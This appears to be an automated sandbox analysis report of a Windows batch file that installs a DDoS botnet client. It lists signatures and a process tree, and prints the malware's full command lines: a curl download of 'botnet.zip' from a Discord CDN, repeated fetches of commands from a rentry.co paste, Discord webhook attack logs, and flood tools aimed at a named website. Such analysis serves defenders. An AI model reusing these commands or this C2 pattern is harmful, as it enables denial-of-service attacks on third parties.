ae85b053cd02d47d9eed876885ccb55e12bfa1a2ddea74c4a13623bc3006d3bf

Analysis

max time kernel
1800s
max time network
1805s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
24/08/2023, 13:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

2.bat
Size

782B
MD5

f97632eeb79a7c337306dfa33c2cc796
SHA1

a53183a5f48c1425a19b038a9ed209adeb90052c
SHA256

ae85b053cd02d47d9eed876885ccb55e12bfa1a2ddea74c4a13623bc3006d3bf
SHA512

5c028932c74020416b7987583b1b016f6d775739c0a3019e08a9afed62848cc7ab71cceec4a6d6953232eb57ffe3ff507f9f77f9f3ba4ec03f84aade40d895fc

Score

9^/10

discovery

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1313) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Executes dropped EXE 3 IoCs

pid	Process
2128	forvmbox.exe
4820	tls.exe
2656	cf.exe

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Delays execution with timeout.exe 64 IoCs

evasion

pid	Process
1936	timeout.exe
2912	timeout.exe
1504	timeout.exe
4816	timeout.exe
4152	timeout.exe
1156	timeout.exe
4460	timeout.exe
4768	timeout.exe
1060	timeout.exe
4728	timeout.exe
3620	timeout.exe
2868	timeout.exe
3828	timeout.exe
1060	timeout.exe
1052	timeout.exe
1868	timeout.exe
5092	timeout.exe
1696	timeout.exe
3104	timeout.exe
2040	timeout.exe
4528	timeout.exe
2660	timeout.exe
4156	timeout.exe
3368	timeout.exe
3780	timeout.exe
408	timeout.exe
2756	timeout.exe
4280	timeout.exe
460	timeout.exe
3376	timeout.exe
5048	timeout.exe
4916	timeout.exe
1216	timeout.exe
2576	timeout.exe
3504	timeout.exe
4812	timeout.exe
4432	timeout.exe
860	timeout.exe
4956	timeout.exe
2000	timeout.exe
4528	timeout.exe
4100	timeout.exe
876	timeout.exe
3100	timeout.exe
2352	timeout.exe
1556	timeout.exe
4200	timeout.exe
3720	timeout.exe
2492	timeout.exe
4108	timeout.exe
4024	timeout.exe
1304	timeout.exe
2312	timeout.exe
3368	timeout.exe
4428	timeout.exe
5060	timeout.exe
1052	timeout.exe
4960	timeout.exe
4976	timeout.exe
4756	timeout.exe
2656	timeout.exe
4152	timeout.exe
836	timeout.exe
1800	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2992	powershell.exe
2992	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2992	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3892 wrote to memory of 4744	3892	cmd.exe	82
PID 3892 wrote to memory of 4744	3892	cmd.exe	82
PID 3892 wrote to memory of 2992	3892	cmd.exe	87
PID 3892 wrote to memory of 2992	3892	cmd.exe	87
PID 3892 wrote to memory of 2128	3892	cmd.exe	93
PID 3892 wrote to memory of 2128	3892	cmd.exe	93
PID 3892 wrote to memory of 2128	3892	cmd.exe	93
PID 3892 wrote to memory of 4280	3892	cmd.exe	94
PID 3892 wrote to memory of 4280	3892	cmd.exe	94
PID 4280 wrote to memory of 3520	4280	cmd.exe	96
PID 4280 wrote to memory of 3520	4280	cmd.exe	96
PID 4280 wrote to memory of 3676	4280	cmd.exe	97
PID 4280 wrote to memory of 3676	4280	cmd.exe	97
PID 2128 wrote to memory of 3728	2128	forvmbox.exe	98
PID 2128 wrote to memory of 3728	2128	forvmbox.exe	98
PID 3728 wrote to memory of 4616	3728	cmd.exe	100
PID 3728 wrote to memory of 4616	3728	cmd.exe	100
PID 3892 wrote to memory of 2184	3892	cmd.exe	99
PID 3892 wrote to memory of 2184	3892	cmd.exe	99
PID 3728 wrote to memory of 1844	3728	cmd.exe	101
PID 3728 wrote to memory of 1844	3728	cmd.exe	101
PID 3728 wrote to memory of 4820	3728	cmd.exe	102
PID 3728 wrote to memory of 4820	3728	cmd.exe	102
PID 3728 wrote to memory of 1640	3728	cmd.exe	104
PID 3728 wrote to memory of 1640	3728	cmd.exe	104
PID 3728 wrote to memory of 3616	3728	cmd.exe	105
PID 3728 wrote to memory of 3616	3728	cmd.exe	105
PID 3728 wrote to memory of 3912	3728	cmd.exe	106
PID 3728 wrote to memory of 3912	3728	cmd.exe	106
PID 3728 wrote to memory of 532	3728	cmd.exe	107
PID 3728 wrote to memory of 532	3728	cmd.exe	107
PID 3728 wrote to memory of 2656	3728	cmd.exe	108
PID 3728 wrote to memory of 2656	3728	cmd.exe	108
PID 3728 wrote to memory of 228	3728	cmd.exe	109
PID 3728 wrote to memory of 228	3728	cmd.exe	109
PID 3728 wrote to memory of 1156	3728	cmd.exe	110
PID 3728 wrote to memory of 1156	3728	cmd.exe	110
PID 3728 wrote to memory of 460	3728	cmd.exe	111
PID 3728 wrote to memory of 460	3728	cmd.exe	111
PID 3728 wrote to memory of 1052	3728	cmd.exe	112
PID 3728 wrote to memory of 1052	3728	cmd.exe	112
PID 3728 wrote to memory of 2364	3728	cmd.exe	113
PID 3728 wrote to memory of 2364	3728	cmd.exe	113
PID 3728 wrote to memory of 5116	3728	cmd.exe	114
PID 3728 wrote to memory of 5116	3728	cmd.exe	114
PID 3728 wrote to memory of 416	3728	cmd.exe	115
PID 3728 wrote to memory of 416	3728	cmd.exe	115
PID 3728 wrote to memory of 1688	3728	cmd.exe	116
PID 3728 wrote to memory of 1688	3728	cmd.exe	116
PID 3728 wrote to memory of 3648	3728	cmd.exe	117
PID 3728 wrote to memory of 3648	3728	cmd.exe	117
PID 3728 wrote to memory of 3992	3728	cmd.exe	118
PID 3728 wrote to memory of 3992	3728	cmd.exe	118
PID 3728 wrote to memory of 3068	3728	cmd.exe	119
PID 3728 wrote to memory of 3068	3728	cmd.exe	119
PID 3728 wrote to memory of 2428	3728	cmd.exe	120
PID 3728 wrote to memory of 2428	3728	cmd.exe	120
PID 3728 wrote to memory of 4032	3728	cmd.exe	121
PID 3728 wrote to memory of 4032	3728	cmd.exe	121
PID 3728 wrote to memory of 960	3728	cmd.exe	122
PID 3728 wrote to memory of 960	3728	cmd.exe	122
PID 3728 wrote to memory of 4556	3728	cmd.exe	123
PID 3728 wrote to memory of 4556	3728	cmd.exe	123
PID 3728 wrote to memory of 3368	3728	cmd.exe	124

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3892
- C:\Windows\system32\curl.exe
  curl -o botnet.zip https://cdn.discordapp.com/attachments/1141139274176155688/1143684627261820988/botney.zip
  2⤵
  PID:4744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Expand-Archive -Path 'botnet.zip' -DestinationPath 'C:\Users\Admin\Desktop'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2992
- C:\Users\Admin\Desktop\forvmbox.exe
  forvmbox.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\D198.tmp\D1A9.tmp\D1AA.bat C:\Users\Admin\Desktop\forvmbox.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3728
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4616
  - - C:\Windows\system32\curl.exe
      curl -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": null, \"embeds\": [{\"title\": \"Attack :=: tlsv1 https://www.nessaj.tv/ 30000 50 {}\", \"description\": \" Thu 08/24/2023-50 / \",\"color\": 1127128,\"author\": {\"name\": \"MLBOT BOTNET API LOG\",\"icon_url\": \"https://cdn.discordapp.com/attachments/353651119685107714/1078725179850637372/danger_death_head_internet_security_skull_virus_icon_127111.png\"}}],\"attachments\": []}" https://discord.com/api/webhooks/1140675610524532868/T1taUTk6bStR2J1f9uoXFj7PQAMLD1T1yXMewAm481PLreURT2PLhzfvxpkEb4JO9VJy
      4⤵
      PID:1844
  - - C:\Users\Admin\Desktop\attacks\methods\tlsv\tls.exe
      tls.exe https://www.nessaj.tv/ 50
      4⤵
      Executes dropped EXE
      PID:4820
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1640
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3616
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3912
  - - C:\Windows\system32\curl.exe
      curl -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": null, \"embeds\": [{\"title\": \"Attack :=: cf https://www.nessaj.tv/ 14000 40 {}\", \"description\": \" Thu 08/24/2023-40 / \",\"color\": 1127128,\"author\": {\"name\": \"MLBOT BOTNET API LOG\",\"icon_url\": \"https://cdn.discordapp.com/attachments/353651119685107714/1078725179850637372/danger_death_head_internet_security_skull_virus_icon_127111.png\"}}],\"attachments\": []}" https://discord.com/api/webhooks/1140675610524532868/T1taUTk6bStR2J1f9uoXFj7PQAMLD1T1yXMewAm481PLreURT2PLhzfvxpkEb4JO9VJy
      4⤵
      PID:532
  - - C:\Users\Admin\Desktop\attacks\methods\cf.exe
      cf.exe https://www.nessaj.tv/ 40 14000 http.txt
      4⤵
      Executes dropped EXE
      PID:2656
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:228
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1156
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:460
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1052
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2364
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5116
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:416
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1688
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3648
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3992
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3068
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2428
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4032
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:960
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4556
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3368
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4272
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4692
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4396
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1548
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2256
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3772
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3972
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5104
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2200
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4760
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2184
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4076
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4400
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1276
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4736
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2000
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:908
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4640
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1844
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:640
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2180
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3644
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2160
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2400
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3308
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1356
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5064
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4800
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2044
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3364
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5096
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4116
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4512
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4460
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4364
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:8
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1188
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2488
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4776
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4620
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3720
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4696
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1292
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4768
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4340
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4656
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2012
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4944
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3424
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:684
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4344
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1696
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4552
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3700
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:708
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4728
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4840
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4568
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1948
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4356
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3848
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3648
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4936
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1936
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4820
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4108
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2612
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2248
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3624
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3404
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2288
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4272
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1112
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4396
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2880
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2256
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:876
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2704
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2324
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2756
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2448
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3504
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5104
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4764
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2124
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2112
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2184
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4076
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:516
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4280
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2964
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4528
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4736
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3128
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4516
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:756
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2068
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5024
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4652
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4148
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4532
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4204
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4428
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4200
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1564
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2912
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5008
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5040
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4952
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1940
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3016
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1792
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3048
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1708
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4848
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3712
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4788
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3024
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:624
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3492
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4460
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1280
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2360
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4540
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1188
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4548
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4256
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1700
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4484
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3720
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4696
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1292
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3468
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4180
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4432
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1060
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3660
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4100
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3448
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3104
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4908
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1052
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2364
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3808
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1620
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4728
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:712
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2516
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2252
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1164
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4356
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3652
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4376
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3992
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3288
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1936
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2428
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3420
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4108
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3780
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3628
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:836
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3688
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3912
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4664
  - - C:\Windows\system32\timeout.exe
